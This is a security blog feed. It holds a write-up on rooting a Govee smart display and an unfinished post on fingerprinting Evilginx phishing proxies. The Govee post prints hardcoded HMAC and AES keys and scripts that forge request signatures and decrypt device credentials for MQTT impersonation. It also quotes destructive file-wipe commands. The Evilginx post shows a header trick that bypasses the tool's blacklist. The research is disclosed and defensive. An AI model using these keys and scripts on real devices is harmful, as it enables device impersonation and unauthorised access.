<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kulkan Security on Medium]]></title>
        <description><![CDATA[Stories by Kulkan Security on Medium]]></description>
        <link>https://medium.com/@kulkan-security?source=rss-d4ad84534f10------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FrnbWFz0ZB50xzNq3quwag.jpeg</url>
            <title>Stories by Kulkan Security on Medium</title>
            <link>https://medium.com/@kulkan-security?source=rss-d4ad84534f10------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 17 May 2026 22:17:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kulkan-security/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Breaking Into a Govee Smart Display: From UART Shell to Device Impersonation]]></title>
            <link>https://medium.com/@kulkan-security/breaking-into-a-govee-smart-display-from-uart-shell-to-device-impersonation-6572a691cb6f?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/6572a691cb6f</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 15:08:19 GMT</pubDate>
            <atom:updated>2026-03-26T15:13:31.686Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RePl517bZVUBXHCXVj4S-g.png" /><figcaption>Breaking Into a Govee Smart Display: From UART Shell to Device Impersonation</figcaption></figure><p>Hi! I’m Matias Fumega, security consultant at Kulkan Security. This post covers my research on the Govee H8630 smart display. Starting from initial UART access and ending at full device impersonation over MQTT, finding and reporting cool bugs along the way.</p><h3>Introduction</h3><p>Govee smart displays are consumer IoT devices running embedded Linux (Tina Linux, based on OpenWrt) on ARMv7 hardware.</p><p>This investigation started as a curiosity exercise. The initial goal was simply to obtain a root shell. Once inside, the scope expanded naturally: firmware update endpoints, the authentication scheme protecting them, certificate storage, and the MQTT channel connecting the device to Govee’s AWS-hosted broker. The device analyzed is a <strong>Govee H8630 display</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*r8YNH3qOY6V_DpFM" /></figure><h3>Physical Access and UART Shell</h3><p>UART is a serial protocol that sends data one bit at a time over two wires (TX and RX) plus ground. Both sides must agree on a baud rate beforehand since there’s no shared clock. That’s it, it’s the simplest possible communication channel. Here we usually see debug logs, the kernel logs, and sometimes, we get a shell.</p><p>The device exposes a 4-pin serial header on its main board, with pins individually labeled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JQwJw8i2vPI5yhEM" /></figure><p>The connection to a UART-USB adapter follows the standard cross-wiring (device TX → adapter RX, device RX → adapter TX).</p><p>The device uses an uncommon baud rate. The majority of devices use 115200.</p><pre>picocom -b 1500000 /dev/ttyUSB0</pre><p>At 1,500,000 baud, the screen printed readable boot messages. From here, pressing “Enter” drops us into an interactive shell, but the session is immediately flooded with continuous debug output messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*fIBKijxA-9hDqmRd" /></figure><h3>Obtaining a Usable Shell</h3><p>As soon as the system fully loads, and we get an interactive root shell, there are tons of log messages originating from the <strong>govee_app</strong> process (PID 330).</p><p>I tried to kill it first, but there was a watchdog script continuously monitoring for its presence and launching it again if it was not running, so a direct kill triggered an immediate restart loop.</p><p>Suspending the process instead was the correct approach:</p><pre>kill -STOP 330</pre><p>This silences the debug output and frees the terminal. The display stops updating until the process is resumed or the device reboots, but the shell becomes fully interactive:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*gXv6F9LfjSYq1jB_" /></figure><h3>Persistence Across Reboots: OverlayFS</h3><p>With a root shell available but no known root password, I changed it with the passwd command. This enabled Telnet access (port 23) without requiring physical UART access each time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*cwI2NDtN5yDo4RY0" /></figure><p>My question at this point was whether this password change would survive a power cycle.</p><p>Rebooting the device confirmed it persisted, and the reason lies in the mount configuration:</p><pre>mount | grep &quot; / &quot;<br>overlayfs:/overlay on / type overlay<br>(rw,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/workdir)</pre><p>The root filesystem is an OverlayFS. The <strong>lowerdir</strong> is the read-only factory image (squashfs). The <strong>upperdir=/overlay/upper</strong> is a writable layer stored in flash memory. Any modifications, including <strong>/etc/shadow</strong>, are written to the upper layer and persist across reboots unless a factory reset explicitly clears them.</p><p>Here is a good image to understand how this FS operates. <strong>Lowerdir</strong>, in our case, is the / directory. So everything there is gonna be <strong>RO</strong> . But the trick is that we are “adding” an upperdir, which is a writable flash space. And the “overlay” layer will be the combination of the lower and upper directories.</p><p>The result is we’ll have all the firmware and critical data as RO, and a writable layer for all the modifications. Bear in mind that all these modifications will typically be wiped after a hard reset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*vHoZtb2ALhGN8FNB" /></figure><h3>Factory Reset Mechanism</h3><p>The <strong>govee_init.sh</strong> script, located at <strong>/etc/init.d/</strong> launches a binary called <strong>govee_reset</strong> at boot. Analysis of this binary in Ghidra revealed a hardware-triggered factory reset handler function.</p><p>This function, opens <strong>/dev/gpiochip0 </strong>and monitors a GPIO pin (line 0x24) via <strong>ioctl</strong> calls. If the pin is held low for more than 5 seconds, the following commands execute sequentially:</p><pre>/govee/others/stop_app.sh<br>find /data -type f -exec rm {} \;<br>find /mnt/UDISK/data -type f -exec rm {} \;<br>fw_setenv parts_clean rootfs_data:UDISK<br>reboot</pre><p>This wipes the <strong>/data</strong> partition and sets a U-Boot environment variable to signal a clean partition on next boot. The OverlayFS upper layer resides within <strong>/data</strong> , meaning a factory reset does erase the password change, but only if the physical reset button is held long enough to trigger this path.</p><p>Now that we have an idea on how the device manages this, let’s try to find a way to download the firmware.</p><h3>Firmware Update Mechanism</h3><p>After moving around within the device filesystem, I ended up opening the file <strong>/data/config/system_config.ini</strong> which contains several cloud endpoints, including the OTA URL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/0*KuApaCUv6_0f2Ury" /></figure><p>I tried a simple GET request to the /firmware/check endpoint, but it wasn’t successful. The response was:</p><pre>{“status”:405,”message”:”Method Not Supported”}</pre><p>So, from this, I knew that a <strong>POST</strong> request, and maybe a structured body would be required. In order to find out all the body parameters, we’ll have to dive deep into a binary called <strong>govee_iot</strong>.</p><p>Let’s get to it.</p><h3>Reversing the OTA Request Body in govee_iot</h3><p>My first approach here was to look for the string <strong>https://</strong> within all the binaries, and it partially worked, because after a few hours, I found this particular one: <strong>https://%s/bff-iot/device/v1/config/endpoint</strong>. By tracking this down in Ghidra, it led me to another function in charge of sending the request to this endpoint.</p><p>The JSON body is assembled by <strong>FUN_0003e994</strong> using cJSON:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/0*mmkU60ukiVspEpQD" /></figure><p>Here’s an organized table with the field and the function in charge of crafting it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*tlGH5VsL6J70O_-6TTNJvw.png" /></figure><p>The /data/config/device_config.ini file supplies the following device fields:</p><pre>[device]<br>uuid = D2:…:CC<br>ble_mac = …<br>sku = H8630<br>ble_hw = 5.01.00<br>ble_sw = 1.00.79</pre><h4>UUID Construction</h4><p>The device UUID is an 8-byte colon separated value. Similar to a MAC address but two bytes longer. Searching the firmware binaries for the string uuid revealed the following format string <strong>fw_setenv govee_uuid %02x-%02x-%02x-%02x-%02x-%02x-%02x-%02x,%08x </strong>inside<strong> govee_iot</strong> , tracing to a couple functions that after understanding what was going on, I ended up with the following UUID structure:</p><pre>UUID = [2 random bytes] + [BLE MAC address reversed]</pre><h3>The gid Field</h3><p>The gid field is not a static identifier, it is an AES-128-ECB ciphertext produced at runtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/0*Jv9ULfjL1YEcb79X" /></figure><p>The function validates the magic bytes of the file <strong>/data/config/gid/gid.bin</strong> against the constant <strong>0x55e3202a</strong>. If matches, the check is successful, otherwise, throws an error.</p><p>The origin of this constant is unknown; it appears to be a vendor-defined magic number.</p><p>The value is in little-endian format, so it is read in reverse byte order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*s7s8cZxUl_p3GtGN" /></figure><p>After validating, it copies the value and then performs AES encryption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/0*ndczQ-7yRCeLkPG0" /></figure><p>After tracking in Ghidra this code for a while, I found that the 16-byte AES key is assembled from three device-specific components:</p><pre>[ SKU prefix (up to 8 bytes) | 4 ASCII chars of UUID | last 4 ASCII digits of timestamp ]</pre><p>After understanding how the GID was built, I built a script to automate this task from now on:</p><pre>from Crypto.Cipher import AES<br><br>sku = b&quot;H8630&quot;<br>uuid = b&quot;[REDACTED]&quot;<br>timestamp_ms = 1757934206123<br><br>key = bytearray(16)<br>key[:len(sku)]  = sku[:8]<br>key[8:12]       = uuid[:4]<br>key[12:16]      = str(timestamp_ms)[-4:].encode()<br>key = bytes(key)<br><br>gid_raw = b&quot;U@91c480cbf57af5a9cd65a5dd567b596f09d547a524c98723db0e497c6efdf615&quot;<br>pad_len  = (16 - (len(gid_raw) % 16)) % 16<br>plaintext = gid_raw + b&quot;\x00&quot; * pad_len<br><br>cipher    = AES.new(key, AES.MODE_ECB)<br>encrypted = cipher.encrypt(plaintext)<br>print(f&quot;[+] Final GID: {encrypted.hex()}&quot;)</pre><p>Up to this point, I was able to complete my JSON like this:</p><pre>{<br>&quot;chip&quot;: 81,<br>&quot;sku&quot;: &quot;H6630&quot;,<br>&quot;device&quot;: &quot;{REDACTED}&quot;,<br>&quot;wifiHardVersion&quot;: &quot;5.01.00&quot;,<br>&quot;wifiSoftVersion&quot;: &quot;1.00.79&quot;,<br>&quot;bleHardVersion&quot;: &quot;5.01.00&quot;,<br>&quot;bleSoftVersion&quot;: &quot;1.00.79&quot;,<br>&quot;timestamp&quot;: {currentTimestamp},<br>&quot;gid&quot;: &quot;{Obtained by our script}&quot;,<br>&quot;signature&quot;: &quot;????&quot;<br>}<br></pre><h3><strong>The signature Field</strong></h3><p>The function <strong>FUN_0003e824</strong> constructs the signature. It formats a string from device fields and passes it to another function in charge of the HMAC-MD5 implementation.</p><p>This function takes an input buffer, uses a secret key stored at <strong>0x4a395</strong> of length <strong>0x10</strong> and then runs the HMAC-MD5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/0*XGqOazMj_kW71q5r" /></figure><p>After several failed attempts to reproduce the signature, I paused the analysis and decided to find a workaround.</p><p>After exhausting all kinds of approaches, the solution came from the least glamorous method. It turns out, sometimes the best reverse engineering tool is just… reading the logs.</p><p>The exact input string was recovered by reconnecting via UART, restarting <strong>govee_iot</strong>, and searching the debug output for the <strong>hmacMd5_buf</strong> log entry.</p><p>The device logs just printed the exact field order:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z0AQ8GvVyGDSRQ75" /></figure><h3>Sending Authenticated OTA Requests</h3><p>I first saved this one to a file called “firmware_check.json” and tried sending a curl request to the <strong>/firmware/check</strong> endpoint.</p><pre>curl -sS &#39;https://device.govee.com/bff-iot/device/v1/ota/firmware/check&#39; -H &#39;Content-Type: application/json&#39; -H &#39;envid: 0&#39; -H &#39;iotversion: 0&#39; --data-binary @firmware_check.json</pre><p>And I received the following response:</p><pre>{<br>&quot;message&quot;:&quot;success&quot;,<br>&quot;checkVersion&quot;:{<br>&quot;needUpdate&quot;:false,<br>&quot;channelType&quot;:0,<br>&quot;chip&quot;:81,<br>&quot;sku&quot;:&quot;H8630&quot;,<br>&quot;device&quot;:&quot;[REDACTED]&quot;,<br>&quot;md5&quot;:&quot;&quot;,<br>&quot;fileType&quot;:1,<br>&quot;size&quot;:0,<br>&quot;versionSoft&quot;:&quot;1.00.79&quot;,<br>&quot;versionHard&quot;:&quot;5.01.00&quot;,<br>&quot;downloadUrl&quot;:&quot;&quot;<br>},<br>&quot;status&quot;:200,&quot;data&quot;:{&quot;dst&quot;:{&quot;deviceDst&quot;:[],&quot;timezoneID&quot;:&quot;&quot;,&quot;sync&quot;:0}}}</pre><p>The hypothesis was that reporting an older software version would trigger a “needUpdate:true” response, so I changed the “versionSoft”:”1.00.79&quot; , to “versionSoft”:”1.00.00&quot; , and it worked:</p><pre>[...]<br>&quot;downloadUrl&quot;:&quot;https://s3.amazonaws.com/govee-public/upgrade-pack/6a77267aa18f69e1de61db758376984d-H8630_WIFI_HW5.01.00_SW1.00.79_OTA.swu&quot;<br>[...]</pre><p>Obtaining this way the correct endpoint to download my device’s firmware. A plain S3 URL, unauthenticated, with no signature, no expiration, and no access control. Anyone with the URL can download it.</p><h3>The /config/endpoint</h3><p>With the body confirmed and the signature function reversed, I finally had everything needed to sign requests correctly.</p><p>This was the script I end up with:</p><pre>import hmac, hashlib<br><br>KEY = b&quot;&amp;k2#@.&lt;7oQ;&gt;Y)l+&quot;  # 16-byte ASCII key<br><br>def signature(p: dict) -&gt; str:<br>    msg = (f&#39;{int(p[&quot;chip&quot;])}.&#39;<br>           f&#39;&quot;{p[&quot;gid&quot;]}&quot;.&quot;{p[&quot;sku&quot;]}&quot;.&quot;{p[&quot;device&quot;]}&quot;.&#39;<br>           f&#39;&quot;{p[&quot;wifiHardVersion&quot;]}&quot;.&quot;{p[&quot;wifiSoftVersion&quot;]}&quot;.&#39;<br>           f&#39;&quot;{p[&quot;bleHardVersion&quot;]}&quot;.&quot;{p[&quot;bleSoftVersion&quot;]}&quot;.&#39;<br>           f&#39;{int(p[&quot;timestamp&quot;])}.{int(p[&quot;saltVersion&quot;])}&#39;)<br>    return hmac.new(KEY, msg.encode(), hashlib.md5).hexdigest()<br><br>payload = {<br>&quot;chip&quot;: 81,<br>&quot;sku&quot;: &quot;H6630&quot;,<br>&quot;device&quot;: &quot;[REDACTED]&quot;,<br>&quot;wifiHardVersion&quot;: &quot;5.01.00&quot;,<br>&quot;wifiSoftVersion&quot;: &quot;1.00.79&quot;,<br>&quot;bleHardVersion&quot;: &quot;5.01.00&quot;,<br>&quot;bleSoftVersion&quot;: &quot;1.00.79&quot;,<br>&quot;timestamp&quot;: 1757366722,<br>&quot;saltVersion&quot;: 3,<br>&quot;gid&quot;: &quot;123123123&quot;,<br>}<br>print(signature(payload))</pre><p>Sending a message with arbitrary values but a valid signature confirmed that the server only validates the signature structure, not the content.</p><p>Note: A random device fails with “Unbound device”; binding is enforced separately from the signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RpKgeF80PvMiTYFx" /></figure><p>The signature validates the structural integrity of the request body, but it does not grant access to arbitrary device identifiers. Sending a properly signed payload with a random device value returns an error:</p><pre>{“status”: 400, “message”: “Unbound device”}</pre><p>Device binding is enforced server-side independently of signature verification. A valid signature is necessary but not sufficient. The <strong>device</strong> field must correspond to a device that has been provisioned and bound to a Govee account. This limits the practical impact of the hardcoded HMAC key to devices whose UUIDs are already known.</p><p>The<strong> /config/endpoint</strong> endpoint is particularly interesting, because it returns device configuration data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0b0vwx9DXtnWPuen" /></figure><p>Here’s the body in JSON format to see in an easy way the content:</p><pre>{&quot;status&quot;:200,<br>&quot;message&quot;:&quot;Success&quot;,<br>&quot;data&quot;:{<br>&quot;timestamp&quot;:1757446397,<br>&quot;serverTime&quot;:1757446397305,<br>&quot;mqttPort&quot;:8883,<br>&quot;mqttAddress&quot;:&quot;aqm3wd1qlc3dy-ats.iot.us-east-1.amazonaws.com&quot;,<br>&quot;certificate&quot;:{&quot;certificatePem&quot;:&quot;-----BEGIN CERTIFICATE-----<br>&quot;,&quot;privateKey&quot;:&quot;-----BEGIN RSA PRIVATE KEY-----&quot;},<br>&quot;subscribe&quot;:{&quot;gdTopic&quot;:&quot;GD/[REDACTED]&quot;},<br>&quot;publish&quot;:<br>{&quot;accountTopic&quot;:&quot;GA/[REDACTED]&quot;,&quot;gdTopic&quot;:&quot;RT/thin<br>g/server/GD/[REDACTED]/data/report&quot;},<br>&quot;urls&quot;:{<br>&quot;otaUrl&quot;:&quot;https://device.govee.com/bff-<br>iot/device/v1/ota/firmware/check&quot;,<br>&quot;matterCertUrl&quot;:&quot;https://device.govee.com/bff-device/v1/ota-cert&quot;,<br>&quot;weatherUrl&quot;:&quot;https://device.govee.com/bff-iot/v1/third-api/weather&quot;,<br>&quot;financeBtcUrl&quot;:&quot;https://device.govee.com/bff-iot/v1/third-api/finance-<br>btc-usd&quot;,<br>&quot;nbaGameUrl&quot;:&quot;https://device.govee.com/bff-iot/v1/third-api/nba/game&quot;,<br>&quot;multimediaUrl&quot;:&quot;https://device.govee.com/bff-iot/device/v1/multimedia&quot;,<br>&quot;uploadFileUrl&quot;:&quot;https://device.govee.com/bff-<br>iot/device/v1/file/upload&quot;,<br>&quot;uploadFileUrlV2&quot;:null,<br>&quot;nflGameUrl&quot;:&quot;https://device.govee.com/bff-iot/v1/third-api/nfl/game&quot;,<br>&quot;financeStockPriceUrl&quot;:&quot;https://device.govee.com/bff-iot/v1/third-<br>api/finance/stock-price&quot;}<br>}}</pre><p>See the MQTT data and the Private Key? I decided to quickly explore both, which you’ll see in the sections below. Before diving in, let’s quickly cover what MQTT actually is.</p><h3>MQTT Analysis</h3><p>MQTT (Message Queuing Telemetry Transport) is a lightweight publish-subscribe messaging protocol designed for low-bandwidth, high-latency, or unreliable networks. It’s everywhere in IoT.</p><p>MQTT was not the primary focus going in. So the following findings arose from exploring the device’s cloud communication stack.</p><p>From the file /data/config/system_config.ini I pulled some connection details, such as the URL, port, Sub and Pub Topics.</p><p>This whole protocol, for this case, works as follows:</p><ul><li>Govee display -&gt; MQTT client. Publishes telemetry data, but can also subscribe to receive commands.</li><li>Govee cloud/server -&gt; MQTT broker. Receives what the device sends and routes it to subscribers (like the app).</li><li>Govee mobile app -&gt; Another MQTT client. Subscribes to the device’s topic to get updates, and can also publish commands (brightness, mode changes, etc.) back to the device through the broker.</li></ul><p>To interact manually with this protocol, I used <strong>Mosquitto</strong>, a client tool for MQTT.</p><p>My first attempt was the simplest possible. But <strong>mosquitto_sub</strong> immediately prompted that a topic was required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BoaTueuHtfOxKELM" /></figure><p>At that point I started digging inside the device to figure out which credentials were required, and in case I couldn’t recover them, I had another potential lead to follow: a response from <strong>/config/endpoint</strong> that returned a private key and certificate.</p><h3>Decrypting Certificates and Private Key</h3><p>I saved the Certificate and private key to a file, but when I tried to use them with <strong>mosquitto_sub</strong>, it failed again.</p><p>Running <strong>file</strong> on them showed they were not plain <strong>PEM</strong> files. Both were reported as binary data. Opening them revealed they were encrypted.</p><p>After inspecting the <strong>govee_iot</strong> binary, I found a function in charge of decrypting these files, but this function exposed the hardcoded key and IV used for encryption/decryption, which are critical for retrieving the device’s private key.</p><pre>userKey = (uchar *)FUN_00027fd4(&quot;2b05705d5c46f412af8cbed55aadeeee&quot;);<br>ivec = (uchar *)FUN_00027fd4(&quot;02a85c61c786def4521b060265e8eeee&quot;);</pre><p>Based on this new info, I wrote a Python script to decrypt my cert and privkey files.</p><pre>#!/usr/bin/env python3<br>from Crypto.Cipher import AES<br>import sys<br># Hardcoded key and IV from firmware<br>key_hex = &quot;2b05705d5c46f412af8cbed55aadeeee&quot;<br>iv_hex = &quot;02a85c61c786def4521b060265e8eeee&quot;<br><br>key = bytes.fromhex(key_hex)<br>iv = bytes.fromhex(iv_hex)<br><br>def decrypt_file(enc_file, out_file):<br>with open(enc_file, &quot;rb&quot;) as f:<br>data = f.read()<br># AES-128-CBC decrypt<br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>decrypted = cipher.decrypt(data)<br># Strip possible padding (\x00 or PKCS#7)<br>decrypted = decrypted.rstrip(b&quot;\x00&quot;)<br>with open(out_file, &quot;wb&quot;) as f:<br>f.write(decrypted)<br>print(f&quot;[+] Decrypted {enc_file} -&gt; {out_file}&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>if len(sys.argv) != 3:<br>print(f&quot;Usage: {sys.argv[0]} &lt;encrypted_cert.pem&gt; &lt;encrypted_privkey.pem&gt;&quot;)<br>sys.exit(1)<br>decrypt_file(sys.argv[1], &quot;cert-fixed.pem&quot;)<br>decrypt_file(sys.argv[2], &quot;privkey-fixed.pem&quot;)</pre><p>We can check this doing the file command on the 2 new files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/0*Zr8InHArXf3X50PU" /></figure><p>With this, I performed the same <strong>Mosquitto</strong> command we used before, but this time it worked! and asked for a client ID. The client ID is the identification of our Govee device for example. I could do a complete valid request like this, and successfully subscribe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XoRaa7p0guTNkBP_" /></figure><p>With this, I could impersonate the device and look for commands by interacting with the app and listening to that sub topic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HhYJE8IEdZFzgCA4" /></figure><h3>Responsible Disclosure</h3><p>After completing the analysis, I reported the findings to Govee’s security team, covering the hardcoded HMAC-MD5 key, the AES key and IV used for certificate encryption, and the device impersonation primitive enabled by combining both.</p><p><strong>Govee acknowledged the report and on January 21st 2026 confirmed the vulnerabilities were remediated.</strong></p><h3>Conclusion</h3><p>What started as getting a root shell ended up exposing a full device impersonation primitive.</p><p>The individual findings are not exotic. But hardcoded keys and an open serial console are common IoT weaknesses. What makes this interesting is how they chain, allowing me to impersonate the device completely.</p><p>The most impactful fix would be per-device key derivation for both the HMAC signature and the certificate encryption, rather than firmware-wide constants. The server-side device binding check provides a partial mitigation, but it relies on UUID secrecy. A weak assumption once physical access is achieved.</p><p><strong>Matias Fumega </strong>[<a href="https://www.linkedin.com/in/matiaspfumega/">LinkedIn</a>]<br>Security Consultant @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6572a691cb6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[See no Evil(ginx) / Detecting and stopping AitM phishing threats]]></title>
            <link>https://medium.com/@kulkan-security/see-no-evil-ginx-detecting-and-stopping-aitm-phishing-threats-4b9b368166c3?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b9b368166c3</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[evilginx]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Mon, 09 Feb 2026 14:49:54 GMT</pubDate>
            <atom:updated>2026-02-09T14:49:54.275Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVQ5XibY1gi6qsSlCvJxxg.png" /><figcaption>See no Evil(ginx) / Detecting and stopping AitM phishing threats</figcaption></figure><p>Hi! I’m Matias Forti, technical lead at Kulkan Security. In this post, we’ll dive into some research focused on Evilginx, a popular reverse proxy phishing toolkit. We’ll look at how these AitM attacks work, how Evilginx tries to stay hidden, and most importantly, how we can detect and disrupt these campaigns in the wild.</p><p><strong><em>Disclaimer</em>:</strong> This blog and the underlying research targets the community version of Evilginx 3, it’s likely that most of the fingerprinting methods we’ll look at in this post will not work as described on the pro version.</p><h3><strong>Brief intro to AitM Phishing</strong></h3><p>Adversary-in-the-Middle (AitM) phishing attacks work by proxying traffic between a victim and a legitimate service, capturing credentials and session tokens in real-time. Unlike traditional phishing pages, AitM phishing can bypass MFA by proxying the entire authentication flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3xyoB_lB0-coCg_nOkaRHA.gif" /><figcaption><strong><em>Animation Source: </em></strong><a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/defeating-adversary-in-the-middle-phishing-attacks/1751777"><em>Defeating Adversary-in-the-Middle phishing attacks — Alex Weinert, Microsoft Blog</em></a></figcaption></figure><h3><strong>Evilginx 3</strong></h3><p>We’ll be briefly going over Evilginx 3 (by <a href="https://x.com/mrgretzky">@kgretzky</a>) one of the most popular AitM phishing toolkits, the full documentation on how it works can be found <a href="https://help.evilginx.com/">here</a>, but we’ll cover the essentials.</p><p>At its core, Evilginx is a reverse HTTP proxy, written in Go, designed to transparently intercept and relay traffic between a victim and a legitimate site, it’s designed to be modular and easily tailored to different targets by using Phishlets, which we’ll look at next.</p><h4><strong>Phishlets</strong></h4><p>Phishlets are how you define and configure what pages will be Phished, including what domains / subdomains to spoof, what cookies or headers to capture and even custom Javascript injection on proxied pages.</p><p>Below is a sample phishlet designed to steal a PHP session cookie from “supersecretauth.r3tro.sh”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GMwrVa4GsME7V6EO1_lkw.png" /><figcaption>A sample Evilginx phishlet designed to steal a PHP session cookie from “supersecretauth.r3tro.sh”</figcaption></figure><p>Once a Phishlet is loaded Evilginx will generate the corresponding certificates to match any defined domains / subdomains, then wait for the Attacker to start the campaign.</p><h4><strong>Lures</strong></h4><p>Lures are what Evilginx calls the final Phishing URL sent to the victim, they include a randomly generated 8 character code that tracks a given phishing attempt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdR9PVb7WKqChYSr-riL0Q.jpeg" /><figcaption>Screen capture showing a Lure created in Evilginx</figcaption></figure><p>This token not only serves to track a given phishing session but also as a pseudo-authorization token, as any attempt to visit the phishing page without the corresponding token will redirect clients away from the Evilginx instance, this is one of many steps Evilginx takes to hide itself from potential scanners, which we’ll look at next.</p><h4><strong>How Evilginx hides / how we can find it anyway</strong></h4><p>As mentioned before, any attempt to interact with the Evilginx instance outside of a valid Lure URL will result in the client getting redirected away, this defaults to the RickRoll youtube video, but can be customized to any other url:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pr6kzxouU53N-O7G0QVTjw.png" /><figcaption>Evilginx’s HTTP response structure and the default RickRoll video returned</figcaption></figure><p>Notably, even though the URL can be customized, by default the surrounding HTML will stay the same, so this can serve as a very crude fingerprint.</p><p>But it doesn’t stop there, after redirection the Client’s IP Address will be placed on a blacklist, blocking any further connection attempts. This blacklist can also be populated before Evilginx starts, to preemptively block any known scanners.</p><p>However there’s a really simple way to bypass this, given that inside the code handling the HTTP proxy and the logic for the blacklist we can find the following lines:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_jHjNaUx72gZlNVmA7H0Q.png" /><figcaption>A manual code review led to identifying IsWhitelisted returns true for 127.0.0.1</figcaption></figure><p>The first fragment deals with handling Proxy forwarding headers, setting the origin IP address to then one passed in the header. The “IsWhitelisted” function handles a special whitelist case, where the local IP “127.0.0.1” is always whitelisted.</p><p>Combined, this functionality provides a really simple way to bypass the blacklist, by manually setting a proxy header to “127.0.0.1” as pictured below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-3Vm4uNyzf-hTG70wNI3Q.png" /><figcaption>An HTTP request which includes an X-Forwarded-For header set to 127.0.0.1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3I4GfytUgedX_xm-ysvHvg.png" /><figcaption>Logs from Evilginx showing that the bypass is possible and the request shows as coming from 127.0.0.1</figcaption></figure><p>With this we can fully interact with the Evilginx instance, bypassing the blacklist. Theoretically, this would allow us to brute force a valid Lure id, but since it’s 8 random alphanumeric characters the search space is still too big to correctly guess the correct Lure id. So we’ll quickly go over some additional fingerprinting methods.</p><h4><strong>TLS Certificates</strong></h4><p>Since Evilginx creates all the certificates for each subdomain assigned for the phishlet, the simultaneous creation of multiple certificates, specially ones matching a known Phishlet pattern, can be a really good indicator that a given domain is an Evilginx instance, tools like <a href="https://crt.sh/">crt.sh</a> are really helpful for this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPRbMGvLRIl30_NcrM0-ug.png" /><figcaption>Data obtained from crt.sh matching a known Phishlet pattern</figcaption></figure><p>Unfortunately for this method, plenty of online guides exist on how to configure Evilginx to use a wildcard certificate instead, this also seems to be a feature of <a href="https://help.evilginx.com/pro/whats-new#wildcard-tls-certificates">Evilginx Pro</a>.</p><h4><strong>Machine Learning Proxy detection</strong></h4><p>The brilliant research at <a href="https://catching-transparent-phish.github.io/">Catching the Transparent Phish</a> by researchers at Stony Brook university and Palo Alto networks, goes over building a machine learning model that can accurately tell whether or not it’s connected to a proxied server.</p><p>Importantly, this profiling is done at the network level, so it does not require knowing the correct Lure endpoint to determine if a given site is a Evilginx instance or not.</p><h4><strong>TLS Fingerprints — 